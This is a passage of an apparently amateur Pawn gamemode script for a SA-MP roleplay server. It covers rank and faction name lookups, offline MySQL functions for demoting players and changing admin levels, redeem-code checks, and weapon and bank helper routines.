	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 5 Sec]");
	SetTimer("SVStart11", 1000, 0);
	return 1;
}
function SVStart11()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 4 Sec]");
	SetTimer("SVStart12", 1000, 0);
	return 1;
}
function SVStart12()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 3 Sec]");
	SetTimer("SVStart13", 1000, 0);
	return 1;
}
function SVStart13()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 2 Sec]");
	SetTimer("SVStart14", 1000, 0);
	return 1;
}
function SVStart14()
{
	SendRconCommand("hostname [MDL] Server is turning on  [Please wait / 1 Sec]");
	SetTimer("SVStart15", 1000, 0);
	return 1;
}*/
function SVStart()
{
	new VevS[70];
	format(VevS, sizeof(VevS), "hostname %s %s: RPG Server", SERVER_NAME1, SERVER_NAME2);
	SendRconCommand(VevS);
	SendRconCommand("password 0");

	return 1;
}
public OnQueryError(errorid, error[], callback[], query[], connectionHandle)
{
	new File:sqlErrorFile = fopen("sqlerror.txt", io_write);
	new string[1000];
	format(string, 1000, "\n\n\nError( %i ): %s, at: %s, Query was be: %s", errorid, error, callback, query);
	fwrite(sqlErrorFile, string);
	fclose(sqlErrorFile);
	return 1;
   }

  //Headphone_Attach(playerid)
	//return SetPlayerAttachedObject(playerid, HEADPHONE_INDEX, 19421, 2, HeadphoneData[playerid][hpX], HeadphoneData[playerid][hpY], HeadphoneData[playerid][hpZ], HeadphoneData[playerid][hpRX], HeadphoneData[playerid][hpRY], HeadphoneData[playerid][hpRZ], 1.0, 1.0, 1.0, RGBAToARGB(GetColor(playerid)));
 GetColor(playerid)
	return HeadphoneData[playerid][Color][0] << 24 | HeadphoneData[playerid][Color][1] << 16 | HeadphoneData[playerid][Color][2] << 8 | 0xFF;
/*Headphone_Reset(playerid)
{
	if(HeadphoneData[playerid][Listening]) StopAudioStreamForPlayer(playerid);
	HeadphoneData[playerid][HasHeadphones] = false;
	HeadphoneData[playerid][EditingHeadphones] = false;
	HeadphoneData[playerid][Listening] = false;
	for(new i; i < 3; i++) HeadphoneData[playerid][Color][i] = 0;
	HeadphoneData[playerid][hpX] = HeadphoneData[playerid][hpY] = HeadphoneData[playerid][hpZ] = 0.0;
	HeadphoneData[playerid][hpRX] = HeadphoneData[playerid][hpRY] = HeadphoneData[playerid][hpRZ] = 0.0;
	if(IsPlayerAttachedObjectSlotUsed(playerid, HEADPHONE_INDEX)) RemovePlayerAttachedObject(playerid, HEADPHONE_INDEX);
}*/
stock AdminLevelName(playerid)
{
	new
		szString[64]
	;
	switch (PlayerInfo[playerid][pAdmin])
	{
		case 1: szString = "AdminLvl (1)";
		case 2: szString = "AdminLvl (2)";
		case 3: szString = "AdminLvl (3)";
		case 4: szString = "AdminLvl (4)";
		case 5: szString = "AdminLvl (5)";
		case 6: szString = "Supervisor";
		case 7: szString = "HosterLvl (1)";
		case 8: szString = "HosterLvl (3)";
		case 9: szString = "HosterLvl (6)";
		case 10: szString = "CM Assistant";
		case 11: szString = "CM Manager";
		case 12: szString = "CM Founder";
		case 13: szString = "CM Scripter";
	}
	return szString;
}
stock LeaderName(playerid)
{
	new
		szString[64]
	;
	switch (PlayerInfo[playerid][pLeader])
	{
		case 1: szString = "Police Department";
		case 2: szString = "FBI";
		case 3: szString = "National Guard";
		case 4: szString = "Medic";
		case 5: szString = "Silence Mafia";
		case 6: szString = "The Killers Family";
		case 7: szString = "Mayor";
		case 8: szString = "Hitman Agency";
		case 9: szString = "News Reporter";
		case 10: szString = "Taxi Driver";
		case 11: szString = "School Instructor";
		case 12: szString = "Dangerous Tiger Family";
		case 13: szString = "Legendary Men Family";
		case 14: szString = "Fast N Furious Family";
		case 15: szString = "Storm Men Family";
		case 16: szString = "Tow Truck Company";
		case 17: szString = "Unknowns";
//		case 18: szString = "Daesh";
//		case 19: szString = "TopBoys";
		case 20: szString = "SFPD Leader";
		//case 21: szString = "SoldierShip";// It's need to change!
//		case 22: szString = "SWAT";
//		case 23: szString = "Terrorist";
//		case 24: szString = "Dozdan Daryayi";
	}
	return szString;
}
stock HelperLevelName(playerid)
{
	new
		szString[24]
	;
	switch (PlayerInfo[playerid][pHelper])
	{
		case 1: szString = "HelperLvl (1)";
		case 2: szString = "HelperLvl (2)";
		case 3: szString = "HelperLvl (3)";
		case 4: szString = "HelperLvl (4)";
		case 5: szString = "Helper Leader";
		case 6: szString = "Helper Leader";
	}
	return szString;
}


 RGBAToARGB(rgba)
 return rgba >>> 8 | rgba << 24;
// Offline Demote Member From Faction
MemberishoBegir(leaderid,taraf[])
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pName='%e'",taraf);
	mysql_tquery(handle, query, "OnMemberishoBegir", "is", leaderid, taraf);
	return 1;
}
function OnMemberishoBegir(leaderid, taraf[])
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(leaderid, COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET pMember='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFwarn='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pRank='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pPunish='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pTeam='TEAM_CIV' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct1='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct2='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct3='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct4='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	new strm[144];
	format(strm, sizeof(strm), "%s's faction member was changed to Civilian.",taraf);
	SendClientMessage(leaderid, COLOR_WHITE, strm);
	return 1;
}
// Offline Suspend Gun License
GuneshoBegir(leaderid,taraf[])
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pName='%e'",taraf);
	mysql_tquery(handle, query, "OnGuneshoBegir", "is", leaderid, taraf);
	return 1;
}
function OnGuneshoBegir(leaderid, taraf[])
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(leaderid, COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET pGunLicS='3' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	new strm[144];
	format(strm, sizeof(strm), "%s's gun license was changed to 3.",taraf);
	SendClientMessage(leaderid, COLOR_WHITE, strm);
	return 1;
}
SponserishoBegirS(adminid,taraf[],level)
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pName='%e'",taraf);
	mysql_tquery(handle, query, "OnSponserishoBegirS", "isi", adminid, taraf, level);
	return 1;
}
CheckKonCode(myid,Code)
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `codes` WHERE codeID='%d'",Code);
	mysql_tquery(handle, query, "OnCheckKonCode", "ii", myid, Code);
	return 1;
}
// Offline Demote Leader
AdminishoBegirS(adminid,taraf[],level)
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pName='%e'",taraf);
	mysql_tquery(handle, query, "OnAdminishoBegirS", "isi", adminid, taraf, level);
	return 1;
}
TakeThatMember(myid,taraf[],level)
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pName='%e'",taraf);
	mysql_tquery(handle, query, "OnTakeThatMember", "isi", myid, taraf, level);
	return 1;
}
function OnTakeThatMember(myid, taraf[], level)
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(myid, COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new myfacid;
	myfacid = PINFO[myid][pLeader];
	new thequery[100];
    mysql_format(handle,thequery,sizeof(thequery),"SELECT * FROM `users` WHERE pMember='%d' AND pName='%e'",myfacid, taraf);
    new Cache:Result=mysql_query(handle,thequery);
    if(cache_num_rows()==0)return SCM(myid, COLOR_YELLOW2, "Error: That player isn't in your faction.");
    cache_delete(Result);
    new currank = cache_get_field_content_int(0,"pRank");
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET pMember='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pPunish='%d' WHERE pName='%e'",level,taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pRank='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pTeam='TEAM_CIV' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFwarn='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct1='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct2='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct3='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct4='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
    new msgz[144];
	format(msgz, 144, "Player %s was kicked from your faction with %d faction punishes",taraf,level);
	SendMessage(myid, COLOR_YELLOW, msgz);
	format(msgz, sizeof(msgz), "{ffffff}Leader %s has kicked %s from %s{ffffff} with %d faction punishes (Offline)",RPName(myid), taraf, GetFacName(myfacid), level);
    AdminWarn(msgz);
 	new Member[64];
 	new reas[70];
 	new rease[256];
	if(PlayerInfo[myid][pLeader] == 0) {
	format(Member, sizeof(Member), "%d",PlayerInfo[myid][pMember]);
	}
	else {
	format(Member, sizeof(Member), "%d",PlayerInfo[myid][pLeader]);
	}
	format(reas, sizeof(reas), "%s",PINFO[myid][pName]);
	format(rease, sizeof(rease), "Left the faction [FP%d] [R%d]",level,currank);
	AddLog(taraf, Member, rease, reas, 2);
	return 1;
}
SetRankThatPlayer(myid,taraf[],level)
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pName='%e'",taraf);
	mysql_tquery(handle, query, "OnSetRankThatPlayer", "isi", myid, taraf, level);
	return 1;
}
function OnSetRankThatPlayer(myid, taraf[], level)
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(myid, COLOR_YELLOW2,"Error: That player is not exist in the database.");
	new myfacid;
	myfacid = PINFO[myid][pLeader];
	new rank = cache_get_field_content_int(0,"pRank");
	new thequery[100];
    mysql_format(handle,thequery,sizeof(thequery),"SELECT * FROM `users` WHERE pMember='%d' AND pName='%e'",myfacid, taraf);
    new Cache:Result=mysql_query(handle,thequery);
    if(cache_num_rows()==0)return SCM(myid, COLOR_YELLOW2, "Error: That player isn't in your faction.");
    cache_delete(Result);
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET pRank='%d' WHERE pName='%e'",level,taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
    new msgz[144];
	format(msgz, 144, "Player %s's rank was set to %d from %d",taraf,level, rank);
	SendMessage(myid, COLOR_YELLOW, msgz);
	format(msgz, sizeof(msgz), "{ffffff}Leader %s has set %s's rank to %d from %d (Offline)",RPName(myid), taraf, level, rank);
    AdminWarn(msgz);
    new vezze[128];
    new reas[70];
    new Memberx[64];
	format(vezze, sizeof(vezze), "Got rank %d.", level);
	if(PlayerInfo[myid][pLeader] == 0) {
	format(Memberx, sizeof(Memberx), "%d",PlayerInfo[myid][pMember]);
	}
	else {
	format(Memberx, sizeof(Memberx), "%d",PlayerInfo[myid][pLeader]);
	}
	format(reas, sizeof(reas), "%s",PINFO[myid][pName]);
	AddLog(taraf, Memberx, vezze, reas, 5);
	return 1;
}
function OnSponserishoBegirS(adminid, taraf[], level)
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(adminid, COLOR_YELLOW2,"Error: That player is not exist in the database.");
	//--
	if(cache_get_field_content_int(0,"pAdmin")>=1)return SCM(adminid,COLOR_YELLOW2,"Error: You can't promote/demote someone to sponsor rank while they are admin.");
	//--
	new sendername[MAX_PLAYER_NAME];
	GetPlayerName(adminid, sendername, sizeof(sendername));
	new stringz[256];
	if(level == 1)
	{
	format(stringz, 144, "[Admin-Warn]: {ffffff}Admin %s assigned sponsor objective to %s (Offline)", sendername,taraf);
	ABroadCast(COLOR_AdminWarn,stringz,1);
	}
	if(level == 0)
	{
	format(stringz, 144, "[Admin-Warn]: {ffffff}Admin %s revoked sponsor objective from %s (Offline)", sendername,taraf);
	ABroadCast(COLOR_AdminWarn,stringz,1);
	}
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET pSponser='%d' WHERE pName='%e'",level,taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	//new strm[144];
	//format(strm, sizeof(strm), "%s's admin level was changed to %d.",taraf,level);
	//SendClientMessage(adminid, COLOR_WHITE, strm);
	return 1;
}
function OnCheckKonCode(myid, Code)
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(myid, COLOR_YELLOW2,"Error: Code ID didn't found in database.");
	
    new googool1[100];
    new googool2[144];
    new googool3[40];
    new googool4[50];
    new googool5[50];
    new googool6[40];
    new googool7[40];
    new googool8[144];
    new aretext[5];
    if(UsedOrNot[myid] == 0) aretext = "No"
    if(UsedOrNot[myid] == 1) aretext = "Yes"

    if(PINFO[myid][pAdmin] >= 12)
    {
	SCM(myid, CRISTIAN, "____________________________________________");
	format(googool1, 100, "Code ID: #%d", Code);
	format(googool2, 144, "Code: %s", TellMeTheCode[myid]);
	format(googool3, 40, "Used: %s", aretext);
    format(googool4, 50, "Creator: %s", WhoCreatedCode[myid]);
    format(googool5, 50, "Who Used: %s", WhoUsedIt[myid]);
    format(googool6, 40, "Created Date: %s", CreatedDate[myid]);
    format(googool7, 40, "Used Date: %s", UsedDateOrg[myid]);
    format(googool8, 144, "Prizes: Gold: %s, Money: $%s, Level: %s, Respect: %s", FormatNumber(CodeGold[myid]), FormatNumber(CodeMoney[myid]), FormatNumber(CodeLevel[myid]), FormatNumber(CodeRespect[myid]));
	SendMessage(myid, COLOR_SINARANG, googool1);
	SendMessage(myid, COLOR_SINARANG, googool2);
	SendMessage(myid, COLOR_SINARANG, googool3);
	SendMessage(myid, COLOR_SINARANG, googool4);
	SendMessage(myid, COLOR_SINARANG, googool5);
	SendMessage(myid, COLOR_SINARANG, googool6);
	SendMessage(myid, COLOR_SINARANG, googool7);
	SendMessage(myid, COLOR_SINARANG, googool8);
	SCM(myid, CRISTIAN, "____________________________________________");
	}
	if(PINFO[myid][pAdmin] < 12)
	{
	SCM(myid, CRISTIAN, "____________________________________________");
	format(googool1, 100, "Code ID: #%d", Code);
	format(googool3, 40, "Used: %s", aretext);
    format(googool4, 50, "Creator: %s", WhoCreatedCode[myid]);
    format(googool5, 50, "Who Used: %s", WhoUsedIt[myid]);
    format(googool6, 40, "Created Date: %s", CreatedDate[myid]);
    format(googool7, 40, "Used Date: %s", UsedDateOrg[myid]);
    format(googool8, 144, "Prizes: Gold: %s, Money: $%s, Level: %s, Respect: %s", FormatNumber(CodeGold[myid]), FormatNumber(CodeMoney[myid]), FormatNumber(CodeLevel[myid]), FormatNumber(CodeRespect[myid]));
	SendMessage(myid, COLOR_SINARANG, googool1);
	SCM(myid, COLOR_SINARANG, "Code: Insufficient Permission");
	SendMessage(myid, COLOR_SINARANG, googool3);
	SendMessage(myid, COLOR_SINARANG, googool4);
	SendMessage(myid, COLOR_SINARANG, googool5);
	SendMessage(myid, COLOR_SINARANG, googool6);
	SendMessage(myid, COLOR_SINARANG, googool7);
	SendMessage(myid, COLOR_SINARANG, googool8);
	SCM(myid, CRISTIAN, "____________________________________________");
	}
	TellMeTheCode[myid] = "NULL"
	UsedOrNot[myid] = 9999;
	CodeGold[myid] = 0;
	CodeRespect[myid] = 0;
	CodeLevel[myid] = 0;
	CodeMoney[myid] = 0;
	WhoCreatedCode[myid] = "NULL"
	WhoUsedIt[myid] = "NULL"
	CreatedDate[myid] = "NULL"
	UsedDateOrg[myid] = "NULL"
	return 1;
}
function OnAdminishoBegirS(adminid, taraf[], level)
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(adminid, COLOR_YELLOW2,"Error: That player is not exist in the database.");
	//--
	if(level>PlayerInfo[adminid][pAdmin])return SCM(adminid,COLOR_YELLOW2,"Error: You can't promote someone to your higher rank.");
	if(cache_get_field_content_int(0,"pAdmin")>PlayerInfo[adminid][pAdmin])return SCM(adminid,COLOR_YELLOW2,"Error: You can't use this command for your higher ranks people.");
	//--
	new sendername[MAX_PLAYER_NAME];
	GetPlayerName(adminid, sendername, sizeof(sendername));
	new stringz[256];
	format(stringz, 256, "[Admin-Warn]: {ffffff}Admin %s changed %s's admin level to %d (Offline)", sendername,taraf,level);
	ABroadCast(COLOR_AdminWarn,stringz,1);
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET pAdmin='%d' WHERE pName='%e'",level,taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pMlp='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pHlp='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pAlp='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pWlp='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pSlp='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	new strm[144];
	format(strm, sizeof(strm), "%s's admin level was changed to %d.",taraf,level);
	SendClientMessage(adminid, COLOR_WHITE, strm);
	return 1;
}
LeaderishoBegirS(leaderid,taraf[],level)
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pName='%e'",taraf);
	mysql_tquery(handle, query, "OnLeaderishoBegirS", "isi", leaderid, taraf, level);
	return 1;
}
function OnLeaderishoBegirS(leaderid, taraf[], level)
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(leaderid, COLOR_YELLOW2,"Error: That player is not exist in the database.");
	//--
	if(cache_get_field_content_int(0,"pAdmin")>PlayerInfo[leaderid][pAdmin])return SCM(leaderid,COLOR_YELLOW2,"Error: You can't use this command for your higher ranks people.");
	if(cache_get_field_content_int(0,"pRank") == 7 && level != 0) return SCM(leaderid, COLOR_YELLOW2, "Error: You should demote that player first.");
	if(cache_get_field_content_int(0,"pLeader") == level) return SCM(leaderid, COLOR_YELLOW2, "Error: That player is already in this state.");
	//--
	new sendername[MAX_PLAYER_NAME];
	GetPlayerName(leaderid, sendername, sizeof(sendername));
	new stringz[256];
	format(stringz, 256, "[Admin-Warn]: {ffffff}Admin %s changed %s's leader to %d (Offline)", sendername,taraf,level);
	ABroadCast(COLOR_AdminWarn,stringz,1);
	new query[512];
	if(level == 0)
	{
	mysql_format(handle, query,512,"UPDATE `users` SET pLeader='%d' WHERE pName='%e'",level,taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pRank='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pTeam='TEAM_CIV' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct1='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct2='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct3='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct4='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	}
	else {
	mysql_format(handle, query,512,"UPDATE `users` SET pLeader='%d' WHERE pName='%e'",level,taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pRank='7' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct1='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct2='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct3='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	mysql_format(handle, query,512,"UPDATE `users` SET pFAct4='0' WHERE pName='%e'",taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	}
	new strm[144];
	format(strm, sizeof(strm), "%s's leader was changed to %d.",taraf,level);
	SendClientMessage(leaderid, COLOR_WHITE, strm);
	return 1;
}
GetFacLeaderByID(myid, facid)// By Sina :|
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pLeader='%d'",facid);
	mysql_tquery(handle, query, "OnGetFacLeaderByID", "ii", myid,facid);
	return 1;
}
function OnGetFacLeaderByID(myid,facid)
{
	new rows = cache_get_row_count(handle);
	if(!rows)
	{
	 if(ISelectedWhat[myid] == 9999)
	 {
	 SCM(myid, COLOR_YELLOW,"Faction Leader Name: {ffffff}NO-BODY");
	 }
	 else
	 {
	 SCM(myid, COLOR_LIGHTRED,"Faction Leader Name: {ffffff}NO-BODY");
	 }
	return 1;
	}
	new adminlvl;
	adminlvl = cache_get_field_content_int(0,"pAdmin");
    if(adminlvl != 0)
	{
	 if(ISelectedWhat[myid] == 9999)
	 {
	 SCM(myid, COLOR_YELLOW,"Faction Leader Name: {ffffff}NO-BODY");
	 }
	 else
	 {
	 SCM(myid, COLOR_LIGHTRED,"Faction Leader Name: {ffffff}NO-BODY");
	 }
	return 1;
	}
	new LName[32];
    cache_get_field_content(0,"pName",LName,handle,sizeof(LName));
	new mmzz[50];
    if(ISelectedWhat[myid] == 9999)
    {
	format(mmzz, 50, "Faction Leader Name: {ffffff}%s",LName);
	SendMessage(myid, COLOR_YELLOW, mmzz);
	}
	else
	{
	format(mmzz, 50, "Faction Leader Name: {ffffff}%s",LName);
	SendMessage(myid, COLOR_LIGHTRED, mmzz);
	}
	return 1;
}
HelperishoBegirS(helperid,taraf[],level)
{
	new query[512];
	mysql_format(handle, query,512,"SELECT * FROM `users` WHERE pName='%e'",taraf);
	mysql_tquery(handle, query, "OnHelperishoBegirS", "isi", helperid, taraf, level);
	return 1;
}
function OnHelperishoBegirS(helperid, taraf[], level)
{
	new rows = cache_get_row_count(handle);
	if(!rows) return SCM(helperid, COLOR_YELLOW2,"Error: That player is not exist in the database.");
	//--
	if(cache_get_field_content_int(0,"pAdmin")>PlayerInfo[helperid][pAdmin])return SCM(helperid,COLOR_YELLOW2,"Error: You can't use this command for your higher ranks people.");
	//--
	new sendername[MAX_PLAYER_NAME];
	GetPlayerName(helperid, sendername, sizeof(sendername));
	new stringz[256];
	format(stringz, 256, "[Admin-Warn]: {ffffff}Admin %s changed %s's helper level to %d (Offline)", sendername,taraf,level);
	ABroadCast(COLOR_AdminWarn,stringz,1);
	new query[512];
	mysql_format(handle, query,512,"UPDATE `users` SET pHelper='%d' WHERE pName='%e'",level,taraf);
	mysql_function_query(handle,query,false,"SendQuery","");
	new strm[144];
	format(strm, sizeof(strm), "%s's helper level was changed to %d.",taraf,level);
	SendClientMessage(helperid, COLOR_WHITE, strm);
	return 1;
}
AllowColor(text[])// by Sina
{
    new
        pos = -1;
    while ((pos = strfind(text, "(", false, pos + 1)) != -1)
    {
        new
            c = pos + 1,
            n = 0,
            ch;
        while ((ch = text[c]) && n != 6)
        {
            if (!('a' <= ch <= 'f' || 'A' <= ch <= 'F' || '0' <= ch <= '9'))
            {
                break;
            }
            ++c;
            ++n;
        }
        if (n == 6 && ch == ')')
        {
            text[pos] = '{';
            text[c] = '}';
        }
    }
}
RemovePlayerGun(playerid, weaponid)// by Sina
{
    if(!IsPlayerConnected(playerid) || !IsAValidGun(weaponid))
        return;
    new saveweapon[13], saveammo[13];
    for(new slot = 0; slot < 13; slot++)
        GetPlayerWeaponData(playerid, slot, saveweapon[slot], saveammo[slot]);
    ResetPlayerWeapons(playerid);
    for(new slot; slot < 13; slot++)
    {
        if(saveweapon[slot] == weaponid || saveammo[slot] == 0)
            continue;
        GivePlayerWeapon(playerid, saveweapon[slot], saveammo[slot]);
    }
}
IsAValidGun(weaponid)// by Sina
{
if((weaponid > 0 && weaponid < 47) && (weaponid != 19) && (weaponid != 20) && (weaponid != 21)) return 1;
return 0;
}
stock HasPlayerAnyWeapon(playerid)// by Sina
{
 new weap, ammm, retuner;
 for (new i=0; i<13; i++)
 {
   GetPlayerWeaponData(playerid, i, weap, ammm);
   #pragma unused ammm
   if(weap != 0)
   {
   returner ++;
   }
 }
 if(returner < 1) return false;
 if(returner >= 1) return true;
}
stock IsUsingValidHex(text[])
{
    new
        pos = -1;
    while ((pos = strfind(text, "{", false, pos + 1)) != -1)
    {
        new
            c = pos + 1,
            n = 0,
            ch;
        while ((ch = text[c]) && n != 6)
        {
            if (!('a' <= ch <= 'f' || 'A' <= ch <= 'F' || '0' <= ch <= '9'))
            {
                break;
            }
            ++c;
            ++n;
        }
        if (n == 6 && ch == '}')
        {
		  return true;
        }
    }
    return false;
}
stock IsVehicleNeoned(vehicleid)
{
if(VehicleNeon[vehicleid] == 1) return true;
return false;
}
stock Spam(playerid, line, color, msg[])// by Sina
{
    for(new i;i<line;i++)
    {
        SendClientMessage(playerid, color, msg);
    }
    return 1;
}
stock GetWeaponSlot(weaponid)
{
new slot;
switch (weaponid)
{
case  0 , 1: slot = 0;
case  2 .. 9: slot = 1;
case  10 .. 15: slot = 10;
case  16 .. 18, 39 : slot = 8;
case  22 ..24: slot = 2;
case  25 .. 27: slot = 3;
case  28 , 29, 32 : slot = 4;
case  30 , 31: slot = 5;
case  33 , 34: slot = 6;
case  35 .. 38: slot = 7;
case  40: slot = 12;
case  41 .. 43: slot = 9;
case  44 .. 46: slot = 11;
}
return slot;
}
stock BankWhere(playerid)
{
if(GetPlayerVirtualWorld(playerid) == 25 && GetPlayerInterior(playerid) == 63 && TooBiz[playerid] == 9)// LS
{
if(PTP(1.0, playerid, 1401.036499, 1320.170776, 1501.085937))return 11;
if(PTP(1.0, playerid, 1402.922241, 1319.958129, 1501.083984))return 12;
if(PTP(1.0, playerid, 1407.353515, 1319.989868, 1501.083984))return 13;
if(PTP(1.0, playerid, 1409.219482, 1319.882202, 1501.083984))return 14;
}
if(GetPlayerVirtualWorld(playerid) == 26 && GetPlayerInterior(playerid) == 63 && TooBiz[playerid] == 8)// LV
{
if(PTP(1.0, playerid, 1401.036499, 1320.170776, 1501.085937))return 21;
if(PTP(1.0, playerid, 1402.922241, 1319.958129, 1501.083984))return 22;
if(PTP(1.0, playerid, 1407.353515, 1319.989868, 1501.083984))return 23;
if(PTP(1.0, playerid, 1409.219482, 1319.882202, 1501.083984))return 24;
}
if(GetPlayerVirtualWorld(playerid) == 27 && GetPlayerInterior(playerid) == 63 && TooBiz[playerid] == 57)// SF
{
if(PTP(1.0, playerid, 1401.036499, 1320.170776, 1501.085937))return 31;
if(PTP(1.0, playerid, 1402.922241, 1319.958129, 1501.083984))return 32;
if(PTP(1.0, playerid, 1407.353515, 1319.989868, 1501.083984))return 33;
if(PTP(1.0, playerid, 1409.219482, 1319.882202, 1501.083984))return 34;
}
return 0;
}
function CloseBankControlPanel(playerid)
{
if(BankIdleTimer[playerid]!=0){KillTimer(BankIdleTimer[playerid]); BankIdleTimer[playerid] = 0;}
if(ImInSection[playerid]!=0)
{
ShowPlayerDialog(playerid, -1, DIALOG_STYLE_MSGBOX, " ", " ", " ", " ");
if(ImInSection[playerid]==11) BankLS1 = 0;
if(ImInSection[playerid]==12) BankLS2 = 0;
if(ImInSection[playerid]==13) BankLS3 = 0;
if(ImInSection[playerid]==14) BankLS4 = 0;
if(ImInSection[playerid]==21) BankLV1 = 0;
if(ImInSection[playerid]==22) BankLV2 = 0;
if(ImInSection[playerid]==23) BankLV3 = 0;
if(ImInSection[playerid]==24) BankLV4 = 0;
if(ImInSection[playerid]==31) BankSF1 = 0;
if(ImInSection[playerid]==32) BankSF2 = 0;
if(ImInSection[playerid]==33) BankSF3 = 0;
if(ImInSection[playerid]==34) BankSF4 = 0;
